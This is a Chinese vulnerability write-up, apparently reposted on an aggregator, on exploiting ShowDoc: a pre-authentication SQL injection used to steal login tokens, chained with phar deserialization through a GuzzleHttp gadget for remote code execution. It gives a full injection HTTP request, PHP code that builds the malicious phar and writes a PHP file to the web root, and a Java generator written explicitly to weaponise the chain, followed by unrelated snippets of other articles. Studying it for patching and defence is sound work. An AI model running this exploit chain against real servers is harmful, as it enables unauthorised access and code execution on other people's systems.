showdoc sqli to rce漏洞利用思考

漏洞版本

sqli <=3.2.5

phar 反序列化 <=3.2.4

漏洞分析

前台sqli

补丁 https://github.com/star7th/showdoc/commit/84fc28d07c5dfc894f5fbc6e8c42efd13c976fda

补丁对比发现,在server/Application/Api/Controller/ItemController.class.php中将$item_id变量从拼接的方式换成参数绑定的形式,那么可以推断,这个点可能存在sql注入。

图片

在server/Application/Api/Controller/ItemController.class.php的pwd方法中,从请求中拿到item_id参数,并拼接到where条件中执行,并无鉴权,由此可判断为前台sql注入。

图片

但在进入sql注入点之前,会从请求中获取captcha_id和captcha参数,该参数需要传入验证码id及验证码进行验证,所以,每次触发注入之前,都需要提交一次验证码。

图片

验证码的逻辑是根据captcha_id从Captcha表中获取未超时的验证码进行比对,验证过后,会将验证码设置为过期状态。

图片

完整拼接的sql语句

SELECT * FROM item WHERE ( item_id = '1' ) LIMIT 1

图片

$password 和 $refer_url 参数都可控,可通过联合查询控制password的值满足条件返回$refer_url参数值,1') union select 1,2,3,4,5,6,7,8,9,0,11,12 --,6对应的是password字段,所以password参数传递6,条件成立,回显传入$refer_url参数,那么就存在sql注入。

图片

图片

POST /server/index.php?s=/Api/Item/pwd HTTP/1.1Host: 172.20.10.1Content-Length: 110Cache-Control: max-age=0Upgrade-Insecure-Requests: 1Origin: http://127.0.0.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Referer: http://127.0.0.1/server/index.php?s=/Api/Item/pwdAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9sec-ch-ua: "Google Chrome";v="125", "Chromium";v="125", "Not.A/Brand";v="24"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"sec-fetch-site: same-originsec-fetch-mode: navigatesec-fetch-dest: documentcookie: PHPSESSID=1r419tk5dmut6vs4etuv656t1q; think_language=zh-CN; XDEBUG_SESSION=XDEBUG_ECLIPSEx-forwarded-for: 127.0.0.1x-originating-ip: 127.0.0.1x-remote-ip: 127.0.0.1x-remote-addr: 127.0.0.1Connection: close
captcha=8856&captcha_id=87&item_id=1')+union+select+1,2,3,4,5,6,7,8,9,0,11,12+--&password=6&refer_url=aGVsbG8=

图片

sqli获取token

鉴权是通过调用server/Application/Api/Controller/BaseController.class.php的checkLogin方法来进行验证。

图片

图片

未登录时,会从请求中拿到user_token参数,再通过user_token在UserToken表中查询,验证是否超时,将未超时记录的uid字段拿到User表中查询,最后将返回的$login_user设置到Session中。

那么只需要通过注入获取到UserToken表中未超时的token,那么就可以通过该token访问后台接口。

phar反序列化rce

补丁

https://github.com/star7th/showdoc/commit/805983518081660594d752573273b8fb5cbbdb30

补丁将new_is_writeable方法的访问权限从public设置为private。

图片

在server/Application/Home/Controller/IndexController.class.php的new_is_writeable方法中。该处调用了is_dir,并且$file可控,熟悉phar反序列化的朋友都知道,is_dir函数可协议可控的情况下可触发反序列化。

图片

有了触发反序列化的点,还需要找到一条利用链,Thinkphp环境中用到GuzzleHttp,GuzzleHttp\Cookie\FileCookieJar的__destruct方法可保存文件。

图片

图片

网上已经有很多分析,这里直接给出生成phar的exp。

<?php
  namespace GuzzleHttp\Cookie {  class CookieJar  {  private $cookies;  public function __construct()  {    $this->cookies = array(new SetCookie());  }private $strictMode;}class FileCookieJar extends CookieJar  {    private $filename = "E:\\Tools\\Env\\phpstudy_pro\\WWW\\showdoc-3.2.4\\server\\test.php";    private $storeSessionCookies = true;  }class SetCookie  {    private $data = array('Expires' => '<?php phpinfo(); ?>');  }}namespace {  $phar = new Phar("phar.phar"); //后缀名必须为phar  $phar->startBuffering();  $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub  $o = new \GuzzleHttp\Cookie\FileCookieJar();  $phar->setMetadata($o); //将⾃定义的meta-data存⼊manifest  $phar->addFromString("test.txt", "test"); //添加要压缩的⽂件  //签名⾃动计算  $phar->stopBuffering();
}

生成exp时,写入的路径需要指定绝对路径,在docker中部署的默认为/var/www/html,其他则可以通过访问时指定一个不存在的模块报错拿到绝对路径。

图片

后续利用,找到一个上传且知道路径的点,将生成的phar文件改成png进行上传。

图片

访问返回的链接,可获取上传文件的路径。

图片

调用new_is_writeable方法,通过phar://访问文件触发反序列化。

图片

图片

武器化利用思考

在java环境下,对该漏洞进行武器化时,考虑到两点情况,一个是在通过sqli获取token时,需要对验证码进行识别,目前网上已经有师傅移植了ddddocr。

https://github.com/BreathofWild/ddddocr-java8 

另一个是在使用exp生成phar文件时,需要指定写入文件的绝对路径以及内容,在java下没找到可以直接生成phar文件的方法,没法动态生成phar文件,对phar文档格式解析,实现一个可在java环境下指定反序列化数据来生成phar文件的方法。

phar文档格式解析

通过php生成一个phar文件,用010 Editor 打开,通过官网文档对phar格式说明,解析phar的文件。

https://www.php.net/manual/zh/phar.fileformat.ingredients.php

phar文档分为四个部分:Stub、manifest、contents、signature

Stub

就是一个php文件,用于标识该文件为phar文件,该文件内容必须以来结尾 ,感觉类似于文件头。

图片

manifest

这个部分不同区间指定了一些信息,其中就包含了反序列化的数据。

https://www.php.net/manual/zh/phar.fileformat.phar.php

1 - 4(bytes) 存放的是整个 manifest 的长度,01C7转换为10进制为455,代表整个manifest 的长度455。

图片

5 - 8 (bytes) Phar 中的文件数 也就是 contents 中的文件数 ,有一个文件。

图片

9-10 存放的是 API version 版本。

图片

11-14 Global Phar bitmapped flags。

图片

15 - 18 如果有别名,那么该区间存放的是别名长度,这里不存在别名。

图片

19 - 22 元数据长度 0191 转十进制 401 代表元数据长度为 401。

图片

22-?元数据,元数据中存放的就是反序列化的数据。

图片

contents

这个部分可有可无,是 manifest 第二个区间指定的一个内容,官网没有具体说明,漏洞利用时也不会用到。

signature

actual signature

这个部分存放签名内容。签名的方式不同,签名的长度也不一样,SHA1 签名为 20 字节,MD5 签名为 16 字节,SHA256 签名为 32 字节,SHA512 签名为 64 字节。OPENSSL 签名的长度取决于私钥的大小。

ignature flags (4 bytes)

这个部分标识签名的算法, 0x0001 用于定义 MD5 签名, 0x0002 用于定义 SHA1 签名, 0x0003 用于定义 SHA256 签名, 0x0004 用于定义 SHA512 签名。0x0010 用于定义 OPENSSL 签名。

GBMB (4 bytes)

Magic GBMB

签名算法为 02,使用的即是SHA1签名。

图片

签名的长度为 20 字节。

图片

通过对整个phar文件格式进行解析,发现大部分字段都是固定不变的。需要变化的字段有:

1、manifest 的长度

2、manifest 中元数据

3、manifest 中的 元数据长度

4、signature flag 签名算法

5、signature 签名数据

java生成 phar文件

最终构造得到:

package org.example;
import com.sun.org.apache.xml.internal.security.exceptions.Base64DecodingException;import com.sun.org.apache.xml.internal.security.utils.Base64;
import java.io.ByteArrayOutputStream;import java.io.FileOutputStream;import java.io.IOException;import java.nio.ByteBuffer;import java.nio.charset.StandardCharsets;import java.security.MessageDigest;import java.security.NoSuchAlgorithmException;public class App {    public static void main( String[] args ) throws IOException, Base64DecodingException {        final FileOutputStream fileOutputStream = new FileOutputStream("phar.phar");        final byte[] decode = Base64.decode("TzozMToiR3V6emxlSHR0cFxDb29raWVcRmlsZUNvb2tpZUphciI6NDp7czo0MToiAEd1enpsZUh0dHBcQ29va2llXEZpbGVDb29raWVKYXIAZmlsZW5hbWUiO3M6ODoidGVzdC5waHAiO3M6NTI6IgBHdXp6bGVIdHRwXENvb2tpZVxGaWxlQ29va2llSmFyAHN0b3JlU2Vzc2lvbkNvb2tpZXMiO2I6MTtzOjM2OiIAR3V6emxlSHR0cFxDb29raWVcQ29va2llSmFyAGNvb2tpZXMiO2E6MTp7aTowO086Mjc6Ikd1enpsZUh0dHBcQ29va2llXFNldENvb2tpZSI6MTp7czozMzoiAEd1enpsZUh0dHBcQ29va2llXFNldENvb2tpZQBkYXRhIjthOjE6e3M6NzoiRXhwaXJlcyI7czoxOToiPD9waHAgcGhwaW5mbygpOyA/PiI7fX19czozOToiAEd1enpsZUh0dHBcQ29va2llXENvb2tpZUphcgBzdHJpY3RNb2RlIjtOO30=");        final String s = new String(decode);        fileOutputStream.write(GeneratePharFilebyte(s, 2));        fileOutputStream.close();    }
    public static byte[] GeneratePharFilebyte(String payload, int hashMode) {        // 添加 stub        String stubStr = "GIF89a<?php __HALT_COMPILER(); ?>\r\n";        byte[] stubByte = stubStr.getBytes(StandardCharsets.UTF_8);        // 长度 14        byte[] manifestMid = {(byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00,  (byte) 0x11, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00};        // 反序列化数据        byte[] SerializationByte = payload.getBytes(StandardCharsets.UTF_8);
        // 文件数据        byte[] fileByte = {(byte) 0x08, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x74, (byte) 0x65, (byte) 0x73, (byte) 0x74, (byte) 0x2E, (byte) 0x74, (byte) 0x78, (byte) 0x74, (byte) 0x04, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0xF7, (byte) 0x02, (byte) 0x63, (byte) 0x66, (byte) 0x04, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x0C,(byte) 0x7E, (byte) 0x7F, (byte) 0xD8, (byte) 0xB6, (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x74, (byte) 0x65, (byte) 0x73, (byte) 0x74};
        // Signature        // 2. 签名标志        ByteBuffer signaturebuffer = ByteBuffer.allocate(4);        signaturebuffer.putInt(hashMode);        byte[] signatureFlag = signaturebuffer.array();        // GBMB        byte[] gbgm = {(byte) 0x47, (byte) 0x42, (byte) 0x4D, (byte) 0x42};        // 计算反序列化数据长度        ByteBuffer Seriabuffer = ByteBuffer.allocate(4);        Seriabuffer.putInt(SerializationByte.length);        byte[] SeriaLength = Seriabuffer.array();
        // 计算总长度        int length = manifestMid.length + SerializationByte.length + fileByte.length;        ByteBuffer buffer = ByteBuffer.allocate(4);        buffer.putInt(length);        byte[] manifestLength = buffer.array();        try {            final ByteArrayOutputStream baos = new ByteArrayOutputStream();            // 添加 stub            baos.write(stubByte);
            // 添加manifest 总长度            reverseBytes(manifestLength);            baos.write(manifestLength);
            // 添加 manifestMid            baos.write(manifestMid);
            // 添加反序列化数据长度            reverseBytes(SeriaLength);            baos.write(SeriaLength);
            // 添加反序列化数据            baos.write(SerializationByte);
            // 添加文件            baos.write(fileByte);
            // 添加signature            // 计算 signature            if (hashMode == 1){ // md5                MessageDigest md5Digest = MessageDigest.getInstance("MD5");                byte[] md5Bytes = md5Digest.digest(baos.toByteArray());                baos.write(md5Bytes);            } else if (hashMode == 2) { // sha1                MessageDigest sha1Digest = MessageDigest.getInstance("SHA-1");                sha1Digest.update(baos.toByteArray());                byte[] hashBytes = sha1Digest.digest();                baos.write(hashBytes);            } else if (hashMode == 3) { // SHA256                MessageDigest sha256Digest = MessageDigest.getInstance("SHA-256");                sha256Digest.update(baos.toByteArray());                byte[] hashBytes = sha256Digest.digest();                baos.write(hashBytes);            }else if (hashMode == 4) { // SHA512                MessageDigest sha512Digest = MessageDigest.getInstance("SHA-512");                sha512Digest.update(baos.toByteArray());                byte[] hashBytes = sha512Digest.digest();                baos.write(hashBytes);            }            // 添加签名标志            reverseBytes(signatureFlag);            baos.write(signatureFlag);
            // 添加            baos.write(gbgm);
            return baos.toByteArray();        } catch (IOException e) {            throw new RuntimeException(e);        } catch (NoSuchAlgorithmException e) {            throw new RuntimeException(e);        }    }
    public static void reverseBytes(byte[] bytes) {        int left = 0;        int right = bytes.length - 1;
        while (left < right) {            // 交换左右两端的元素            byte temp = bytes[left];            bytes[left] = bytes[right];            bytes[right] = temp;
            // 移动左右指针            left++;            right--;        }    }}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/377857.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

海外ASO:iOS与谷歌优化的相同点和区别

海外ASO是针对iOS的App Store和谷歌的Google Play这两个主要海外应用商店进行的优化过程&#xff0c;两个不同的平台需要采取不同的优化策略&#xff0c;以下是对iOS优化和谷歌优化的详细解析&#xff1a; 一、iOS优化&#xff08;App Store&#xff09; 1、关键词覆盖 选择关…

服务器数据恢复—raid5阵列热备盘同步失败导致lun不可用的数据恢复案例

服务器存储数据恢复环境&#xff1a; 华为S5300存储中有一组由16块FC硬盘组建的RAID5磁盘阵列&#xff08;包含一块热备盘&#xff09;。 服务器存储故障&#xff1a; 该存储中的RAID5阵列1块硬盘由于未知原因离线&#xff0c;热备盘上线并开始同步数据&#xff0c;数据同步到…

starRocks搭建

公司要使用新的大数据架构&#xff0c;打算用国产代替国外的大数据平台。所以这里我就纠结用doris还是starrocks&#xff0c;如果用doris&#xff0c;因为是开源的&#xff0c;以后就可以直接用云厂商的。如果用starrocks就得自己搭建&#xff0c;但是以后肯定会商业化&#xf…

【linux】服务器ubuntu安装cuda11.0、cuDNN教程,简单易懂,包教包会

【linux】服务器ubuntu安装cuda11.0、cuDNN教程&#xff0c;简单易懂&#xff0c;包教包会 【创作不易&#xff0c;求点赞关注收藏】 文章目录 【linux】服务器ubuntu安装cuda11.0、cuDNN教程&#xff0c;简单易懂&#xff0c;包教包会一、版本情况介绍二、安装cuda1、到官网…

最新PHP自助商城源码,彩虹商城源码

演示效果图 后台效果图 运行环境&#xff1a; Nginx 1.22.1 Mysql5.7 PHP7.4 直接访问域名即可安装 彩虹自助下单系统二次开发 拥有供货商系统 多余模板删除 保留一套商城,两套发卡 源码无后门隐患 已知存在的BUG修复 彩虹商城源码&#xff1a;下载 密码:chsc 免责声明&…

「AI得贤招聘官」通过首批“AI产业创新场景应用案例”评估

近日&#xff0c;上海近屿智能科技有限公司的「AI得贤招聘官」&#xff0c;经过工业和信息化部工业文化发展中心数字科技中心的严格评估&#xff0c;荣获首批“AI产业创新场景应用案例”。 据官方介绍&#xff0c;为积极推进通用人工智能产业高质量发展&#xff0c;围绕人工智能…

浅析Kafka Streams消息流式处理流程及原理

以下结合案例&#xff1a;统计消息中单词出现次数&#xff0c;来测试并说明kafka消息流式处理的执行流程 Maven依赖 <dependencies><dependency><groupId>org.apache.kafka</groupId><artifactId>kafka-streams</artifactId><exclusio…

kafka发送消息流程

配置props.put(ProducerConfig.PARTITIONER_CLASS_CONFIG, RoundRobinPartitioner.class); public Map<String,Object> producerConfigs(){Map<String,Object> props new HashMap<>();props.put(ProducerConfig.BOOTSTRAP_SERVERS_CONFIG,bootstrapServers…

文件的顺序读写

文件读写函数介绍 文件顺序读写函数 函数名功能适用于fputc 字符输出函数 所有输出流 fgetc 字符输⼊函数 所有输⼊流 fputs ⽂本⾏输出函数 所有输出流fgets ⽂本⾏输⼊函数 所有输⼊流fprintf 格式化输出函数 所有输出流fscanf 格式化输⼊函数 所有输⼊流fwrite ⼆进制输出…

Spring源码中的模板方法模式

1. 什么是模板方法模式 模板方法模式&#xff08;Template Method Pattern&#xff09;是一种行为设计模式&#xff0c;它在操作中定义算法的框架&#xff0c;将一些步骤推迟到子类中。模板方法让子类在不改变算法结构的情况下重新定义算法的某些步骤。 模板方法模式的定义&…

被动的机器人非线性MPC控制

MPC是一种基于数学模型的控制策略&#xff0c;它通过预测系统在未来一段时间内的行为&#xff0c;并求解优化问题来确定当前的控制输入&#xff0c;以实现期望的控制目标。对于非线性系统&#xff0c;MPC可以采用非线性模型进行预测和优化&#xff0c;这种方法被称为非线性模型…

DBeaver导入脚本和导出数据

DBeaver导入脚本和导出数据 前言&#xff1a; 通常产品会要求&#xff0c;把xx表导出Excel&#xff0c;navicat一般公司不让用。讲解使用DBeaver 导入脚本 我们将sql脚本导入DBeaver 1&#xff0c;选择数据库&#xff0c;找到执行脚本 2&#xff0c;选用sql脚本&#xff0…

【Linux】权限管理与相关指令

文章目录 1.权限、文件权限、用户文件权限的理解以及对应八进制数值表示、设置目录为粘滞位文件类型 2.权限相关的常用指令susudochmodchownchgrpumaskwhoamifile 1.权限、文件权限、用户 通过一定条件&#xff0c;拦住一部分人&#xff0c;给另一部分权利来访问资源&#xff0…

IDEA实现SpringBoot项目的自打包自发布自部署

目录 前言 正文 操作背景 自发布 自部署 尾声 &#x1f52d; Hi,I’m Pleasure1234&#x1f331; I’m currently learning Vue.js,SpringBoot,Computer Security and so on.&#x1f46f; I’m studying in University of Nottingham Ningbo China&#x1f4eb; You can reach…

U盘坏了怎么把数据弄出来

在数字化时代&#xff0c;U盘作为一种便携式存储设备&#xff0c;为我们的数据保存和传输提供了很多便利。不过&#xff0c;我们在使用U盘过程中难免会遇到各种问题&#xff0c;比如常见的U盘损坏问题。U盘损坏会导致数据无法读取&#xff0c;给我们造成困扰。幸运的是&#xf…

Spring相关的面试题

1、spring中bean的生命周期 spring bean的生命周期主要分为三大类 &#xff0c;分别是创建-》使用-〉销毁。 在三大类下面又可以分为5个小类。分别是 实列化-〉初始化-》组册destruction回调-〉使用-〉销毁 这这其中 初始化也可以细分为 设置属性值&#xff0c;前置处理&#…

【学习笔记】无人机(UAV)在3GPP系统中的增强支持(七)-通过无人机实现无线接入的独立部署

引言 本文是3GPP TR 22.829 V17.1.0技术报告&#xff0c;专注于无人机&#xff08;UAV&#xff09;在3GPP系统中的增强支持。文章提出了多个无人机应用场景&#xff0c;分析了相应的能力要求&#xff0c;并建议了新的服务级别要求和关键性能指标&#xff08;KPIs&#xff09;。…

dhtmlx-gantt甘特图数据展示

官网文档&#xff1a;甘特图文档 实现效果&#xff1a; 首先需要下载 dhtmlx-gantt组件 npm i dhtmlx-gantt //我项目中使用的是"dhtmlx-gantt": "^8.0.6" 这个版本&#xff0c;不同的版本api或是文档中存在的方法稍有差异 界面引用 <template>&l…

什么是MOW,以bitget钱包为例

元描述&#xff1a;MOW凭借其富有创意的故事情节和广阔的潜力在Solana上脱颖而出。本文深入探讨了其独特的概念和光明的未来。 Mouse in a Cats World (MOW)是一个基于Solana区块链的创新meme项目&#xff0c;它重新构想了一个异想天开且赋予权力的故事。在这个奇幻的宇宙中&am…

Leetcode算法题(链表的中间节点+返回倒数第k个节点+合并两个有序链表)

题目1&#xff1a; 本题力扣链接&#xff1a;https://leetcode.cn/problems/middle-of-the-linked-list/solutions/164351/lian-biao-de-zhong-jian-jie-dian-by-leetcode-solut/ 思路1&#xff1a;单指针法 首先我们对链表进行遍历&#xff0c;记录链表的总长度N&#xff0c;…